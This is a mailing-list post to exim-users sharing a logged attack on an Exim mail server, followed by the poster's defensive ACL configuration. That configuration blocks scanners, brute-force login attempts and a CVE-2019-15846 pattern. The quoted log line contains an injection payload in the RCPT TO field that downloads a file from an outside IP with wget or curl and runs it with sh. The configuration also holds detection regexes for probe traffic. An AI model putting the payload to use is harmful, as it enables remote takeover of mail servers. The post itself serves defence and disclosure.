Exim cracking attempt
Lena--- via Exim-users <[email protected]> Wed, 22 Jul 2026 08:16:57 +0300
| Newsgroups | gmane.mail.exim.user |
|---|---|
| Message-ID | <[email protected]> |
A cracking attempt specifically targeting Exim:
2026-07-21 12:39:40 +0300 SMTP call from (x) [192.142.28.77] dropped: too many syntax or protocol errors (last command was "RCPT TO:<${run{/bin/sh -c 'chmod +x /usr/bin/curl; chmod +x /usr/bin/wget; cd /tmp||cd /var/run||cd /mnt||cd /root||cd /; wget -q --tries=3 --timeout=10 -O cumshotnews http://166.0.192.57/cumshotnews; curl -fsSL --connect-timeout 10 -o cumshotnews http://166.0.192.57/cumshotnews; chmod 777 cumshotnews; sh cumshotnews; rm -f cumshotnews'}}@localhost>", C=EHLO,MAIL,RCPT)
I use:
smtp_max_synprot_errors = 0
And:
event_action = ${if match{$event_name}{smtp.fail}{${acl{eventsmtpfail}}}}
WARNTO = [email protected]
SHELL = /bin/sh
ADDRNAME = $sender_host_address $acl_c_country ${sg{${lookup dnsdb{>, defer_never,ptr=$sender_host_address}}}{\N[^\w.,-]\N}{}}
HELODETAINTED = ${sg{$sender_helo_name}{\N[^\w.,-]\N}{}}
# these two masks are used only in case of IPv6:
# how many IPv6 addresses you give to your single user:
MASKL = ${if match{$sender_host_address}{:}{/64}}
# how many external IPv6 addresses you treat as one attacker:
MASKW = ${if match{$sender_host_address}{:}{/56}}
acl_smtp_auth = acl_check_auth
acl_smtp_mail = acl_check_mail
acl_smtp_connect = acl_check_connect
acl_smtp_quit = acl_check_quit
acl_smtp_notquit = acl_check_notquit
begin acl
eventsmtpfail:
accept logwrite = :main,reject: event_name=$event_name \
sender_host_address=$sender_host_address \
event_data=$event_data \
smtp_notquit_reason=$smtp_notquit_reason \
smtp_command=$smtp_command
condition = ${if match{$smtp_command}{\N^\*$|^\003|^\026|^\376|Cookie: mstshash=|^SSH-|^PING |EHLO masscan|^\{|mining.subscribe|^(?i)DATA$|^GET /|^MGLNDD_\N}}
set acl_m_shargs = echo \\\"$sender_host_addressMASKW\\\" \
>>$spool_directory/blocked_IPs
continue = ${run{SHELL -c '$acl_m_shargs'}}
accept
acl_check_connect:
drop message = $sender_host_address locally blacklisted for a bruteforce \
auth (login+password) cracking attempt
condition = ${if exists{$spool_directory/blocked_IPs}}
condition = ${lookup{$sender_host_address}iplsearch\
{/var/..$spool_directory/blocked_IPs}{1}{0}}
drop message = stretchoid and similar scanners banned
condition = ${if match\
{${lookup dnsdb{defer_never,ptr=$sender_host_address}}}\
{\N(\.(stretchoid.com|censys-scanner.com|shodan.io|internet-research-project.net|binaryedge.ninja|tchelebi.io|alphastrike.io|airtelbroadband.in|proxy-research.com|internet-measurement.com|probe.onyphe.net|scanner.modat.io|internet-census.org|f6.security|tritontrollius.com|saocelosia.com|deimosdaylily.com|phoboscoleus.com|audise.com|qz301.com|firogg.com|fromild.com|bc.googleusercontent.com)|^scan-.+\.shadowserver.(org|io)|^crawler\d+.deepfield.net|^portscanner-.+|^scanner.+gatech.edu|^scan.cypex.ai|^scanner-.+\.reposify.net)$\N}}
drop message = $sender_host_address is on spamhaus.org DROP or EDROP list
condition = ${if exists{/usr/local/etc/exim/drop}}
condition = ${lookup{$sender_host_address}iplsearch\
{/usr/local/etc/exim/drop}{1}{0}}
accept
acl_check_auth:
drop condition = ${if match{$smtp_command_argument}{(?i)^(TLS|NTLM)}}
set acl_m_shargs = echo \\\"$sender_host_addressMASKW\\\" \
>>$spool_directory/blocked_IPs
continue = ${run{SHELL -c '$acl_m_shargs'}}
warn set acl_c_autharg = $smtp_command_argument
drop message = authentication is allowed only once per message in order \
to slow down bruteforce cracking
set acl_m_auth = ${eval10:0$acl_m_auth+1}
condition = ${if >{$acl_m_auth}{2}}
delay = 22s
drop message = blacklisted for bruteforce cracking attempt
set acl_c_authnomail = ${eval10:0$acl_c_authnomail+1}
condition = ${if >{$acl_c_authnomail}{4}}
condition = ${if exists{$spool_directory/blocked_IPs}\
{${lookup{$sender_host_address}iplsearch\
{$spool_directory/blocked_IPs}{0}{1}}}\
{1}}
acl = setdnslisttext
set acl_m_shargs = echo \\\"$sender_host_addressMASKW\\\" \
>>$spool_directory/blocked_IPs; \
{ echo Subject: blocked ADDRNAME; echo; echo \
for bruteforce auth cracking attempt.; \
} | $exim_path -f root WARNTO
continue = ${run{SHELL -c '$acl_m_shargs'}}
drop message = blacklisted for bruteforce cracking attempt
condition = ${if >{$acl_c_authnomail}{4}}
accept set acl_c_authhash = ${if match{$smtp_command_argument}\
{\N(?i)^(?:plain|login) (.+)$\N}{${nhash_1000:$1}}}
acl_check_mail:
deny condition = ${if or{\
{eq{\\}{${substr{-1}{1}{$tls_in_sni}}}}\
{eq{\\}{${substr{-1}{1}{$tls_in_peerdn}}}}\
}}
message = CVE-2019-15846
accept set acl_c_authnomail = 0
setdnslisttext:
accept condition = ${if match{$acl_c_country}{\N^\w\w$\N}}
warn dnslists = origin.asn.spameatingmonkey.net
# https://spameatingmonkey.com/services/SEM-ASN-ORIGIN
set acl_c_country = ${if match{$dnslist_text}{\N\| (\S+)$\N}{$1}}
condition = ${if eq{$acl_c_country}{Unknown}}
set acl_c_as = ${if match{$dnslist_text}{\N^.+?\| (\S+)\N}{$1}}
set acl_c_country = ${lookup{$acl_c_as}lsearch\
{$spool_directory/as-country}}
condition = ${if !def:acl_c_country}
set acl_c_country = ${reduce{<\n ${run{/usr/bin/whois \
$sender_host_address}}}\
{}{${if match{$item}{\N(?i)^country:\s*(\S+)\N}{$1}{$value}}}}
condition = ${if match{$acl_c_country}{\N^\w\w$\N}}
condition = ${if def:acl_c_as}
set acl_m_shargs = echo $acl_c_as: $acl_c_country \
>>$spool_directory/as-country
continue = ${run{SHELL -c '$acl_m_shargs'}}
accept
acl_check_quit:
accept condition = $authentication_failed
acl = setdnslisttext
condition = ${if match{$acl_c_country}{(?i)br|cn|vn|kr}}
set acl_m_shargs = echo \\\"$sender_host_addressMASKW\\\" \
>>$spool_directory/blocked_IPs
continue = ${run{SHELL -c '$acl_m_shargs'}}
accept condition = $authentication_failed
dnslists = auth.spamrats.com
# http://spamrats.com/rats-auth.php , http://spamrats.com/about.php
condition = ${if exists{$spool_directory/blocked_IPs}\
{${lookup{$sender_host_address}iplsearch\
{$spool_directory/blocked_IPs}{0}{1}}}\
{1}}
acl = setdnslisttext
set acl_m_shargs = echo \\\"$sender_host_addressMASKW\\\" \
>>$spool_directory/blocked_IPs; \
{ echo Subject: spamrats. blocked ADDRNAME; \
echo; echo for auth cracking attempt.; \
} | $exim_path -f root WARNTO
continue = ${run{SHELL -c '$acl_m_shargs'}}
accept condition = $authentication_failed
dnslists = <redacted>.xbl.dq.spamhaus.net=127.0.0.4 : \
# xbl.spamhaus.org=127.0.0.4 : \
<redacted>.exploit.mail.abusix.zone=127.0.0.4
# https://abusix.com
# https://www.spamhaus.org/blocklists/exploits-blocklist/
set acl_c_dl = ${if match{$dnslist_domain}{abusix}{abusix}{xbl}}
acl = setdnslisttext
condition = ${if !match{$acl_c_country}{(?i)ua|md}}
set acl_m_shargs = echo \\\"$sender_host_addressMASKW\\\" \
>>$spool_directory/blocked_IPs
continue = ${run{SHELL -c '$acl_m_shargs'}}
condition = ${if match{$acl_c_country}{^(?i)(xx|zz|unknown)?\$}}
set acl_m_shargs = { echo Subject: $acl_c_dl. blocked ADDRNAME; \
echo; echo for auth cracking attempt.; \
} | $exim_path -f root WARNTO
continue = ${run{SHELL -c '$acl_m_shargs'}}
warn condition = $authentication_failed
logwrite = :reject: quit after authentication failed: \
${sg{$sender_rcvhost}{\N[\n\t]+\N}{\040}}
condition = ${if match{$sender_helo_name}\
{\N^(User|xray500|FlapJack|gerg|smtp.lena.kiev.ua)$\N}}
condition = ${if exists{$spool_directory/blocked_IPs}\
{${lookup{$sender_host_address}iplsearch\
{$spool_directory/blocked_IPs}{0}{1}}}\
{1}}
acl = setdnslisttext
set acl_m_shargs = echo \\\"$sender_host_addressMASKW\\\" \
>>$spool_directory/blocked_IPs; \
{ echo Subject: HELODETAINTED. blocked ADDRNAME; \
echo; echo for auth cracking attempt.; \
} | $exim_path -f root WARNTO
continue = ${run{SHELL -c '$acl_m_shargs'}}
warn condition = $authentication_failed
condition = ${if def:acl_c_authhash}
ratelimit = 0 / 5m / strict / $sender_host_address-$acl_c_authhash
set acl_c_hashrate = ${sg{$sender_rate}{[.].*}{}}
warn condition = $authentication_failed
condition = ${if or{\
{!def:acl_c_authhash}\
{<{$acl_c_hashrate}{2}}\
}}
ratelimit = 7 / 5m / strict / per_conn
condition = ${if exists{$spool_directory/blocked_IPs}\
{${lookup{$sender_host_address}iplsearch\
{$spool_directory/blocked_IPs}{0}{1}}}\
{1}}
acl = setdnslisttext
set acl_m_shargs = echo \\\"$sender_host_addressMASKW\\\" \
>>$spool_directory/blocked_IPs; \
{ echo Subject: blocked ADDRNAME; echo; echo \
for bruteforce auth cracking attempt.; \
} | $exim_path -f root WARNTO
continue = ${run{SHELL -c '$acl_m_shargs'}}
acl_check_notquit:
accept condition = ${if match{$smtp_notquit_reason}{^bad-command}}
condition = ${if match{$smtp_command}{\N^\*$|^\003|^\026|^\376|Cookie: mstshash=|^SSH-|^PING |EHLO masscan|^\{|mining.subscribe|^(?i)DATA$|^GET /|^MGLNDD_|^CONNECT \N}}
set acl_m_shargs = echo \\\"$sender_host_addressMASKW\\\" \
>>$spool_directory/blocked_IPs
continue = ${run{SHELL -c '$acl_m_shargs'}}
accept condition = $authentication_failed
acl = setdnslisttext
condition = ${if match{$acl_c_country}{(?i)br|cn|vn|kr}}
set acl_m_shargs = echo \\\"$sender_host_addressMASKW\\\" \
>>$spool_directory/blocked_IPs
continue = ${run{SHELL -c '$acl_m_shargs'}}
accept condition = $authentication_failed
dnslists = auth.spamrats.com
# http://spamrats.com/rats-auth.php , http://spamrats.com/about.php
condition = ${if exists{$spool_directory/blocked_IPs}\
{${lookup{$sender_host_address}iplsearch\
{$spool_directory/blocked_IPs}{0}{1}}}\
{1}}
acl = setdnslisttext
set acl_m_shargs = echo \\\"$sender_host_addressMASKW\\\" \
>>$spool_directory/blocked_IPs; \
{ echo Subject: spamrats. blocked ADDRNAME; \
echo; echo for auth cracking attempt.; \
} | $exim_path -f root WARNTO'
continue = ${run{SHELL -c '$acl_m_shargs'}}
accept condition = $authentication_failed
dnslists = <redacted>.xbl.dq.spamhaus.net=127.0.0.4 : \
# xbl.spamhaus.org=127.0.0.4 : \
<redacted>.exploit.mail.abusix.zone=127.0.0.4
# https://abusix.com
# https://www.spamhaus.org/blocklists/exploits-blocklist/
set acl_c_dl = ${if match{$dnslist_domain}{abusix}{abusix}{xbl}}
acl = setdnslisttext
condition = ${if !match{$acl_c_country}{(?i)ua|md}}
set acl_m_shargs = echo \\\"$sender_host_addressMASKW\\\" \
>>$spool_directory/blocked_IPs
continue = ${run{SHELL -c '$acl_m_shargs'}}
condition = ${if match{$acl_c_country}{^(?i)(xx|zz|unknown)?\$}}
set acl_m_shargs = { echo Subject: $acl_c_dl. blocked ADDRNAME; \
echo; echo for auth cracking attempt.; \
} | $exim_path -f root WARNTO
continue = ${run{SHELL -c '$acl_m_shargs'}}
warn condition = $authentication_failed
logwrite = :reject: $smtp_notquit_reason after authentication failed: \
${sg{$sender_rcvhost}{\N[\n\t]+\N}{\040}}
condition = ${if match{$smtp_notquit_reason}\
{^(connection-lost|synchronization-error)}}
condition = ${if match{$sender_helo_name}\
{\N^(User|xray500|FlapJack|gerg|SERVER-KP1|((mail|smtp)\.)?lena\.kiev\.ua)$\N}}
!hosts = @[]
condition = ${if exists{$spool_directory/blocked_IPs}\
{${lookup{$sender_host_address}iplsearch\
{$spool_directory/blocked_IPs}{0}{1}}}\
{1}}
acl = setdnslisttext
set acl_m_shargs = echo \\\"$sender_host_addressMASKW\\\" \
>>$spool_directory/blocked_IPs; \
{ echo Subject: HELODETAINTED. blocked ADDRNAME; \
echo; echo for auth cracking attempt.; \
} | $exim_path -f root WARNTO
continue = ${run{SHELL -c '$acl_m_shargs'}}
warn condition = $authentication_failed
condition = ${if def:acl_c_authhash}
ratelimit = 0 / 2h / strict / $sender_host_address-$acl_c_authhash
set acl_c_hashrate = ${sg{$sender_rate}{[.].*}{}}
warn condition = $authentication_failed
condition = ${if match{$smtp_notquit_reason}\
{^(connection-lost|synchronization-error)}}
condition = ${if or{\
{!def:acl_c_authhash}\
{<{$acl_c_hashrate}{2}}\
}}
ratelimit = 7 / 2h / strict / per_conn
condition = ${if exists{$spool_directory/blocked_IPs}\
{${lookup{$sender_host_address}iplsearch\
{$spool_directory/blocked_IPs}{0}{1}}}\
{1}}
acl = setdnslisttext
set acl_m_shargs = echo \\\"$sender_host_addressMASKW\\\" \
>>$spool_directory/blocked_IPs; \
{ echo Subject: blocked ADDRNAME; echo; echo \
for bruteforce auth cracking attempt.; \
} | $exim_path -f root WARNTO
continue = ${run{SHELL -c '$acl_m_shargs'}}
hash:
accept set acl_c_authhash = ${nhash_1000:$acl_arg1}
=====
In /var/cron/tabs/root :
25 5 * * 2,5 cd /usr/local/etc/exim; rm -f drop-new edrop-new; fetch -q -o drop-new http://www.spamhaus.org/drop/drop.txt && fetch -q -o edrop-new http://www.spamhaus.org/drop/edrop.txt && test -s drop-new -a -s edrop-new && cat drop-new edrop-new | tr ';' '#' >drop
--
## subscription configuration (requires account):
## https://lists.exim.org/mailman3/postorius/lists/exim-users.lists.exim.org/
## unsubscribe (doesn't require an account):
## [email protected]
## Exim details at https://www.exim.org/
## Please use the Wiki with this list - https://code.exim.org/exim/wiki/wiki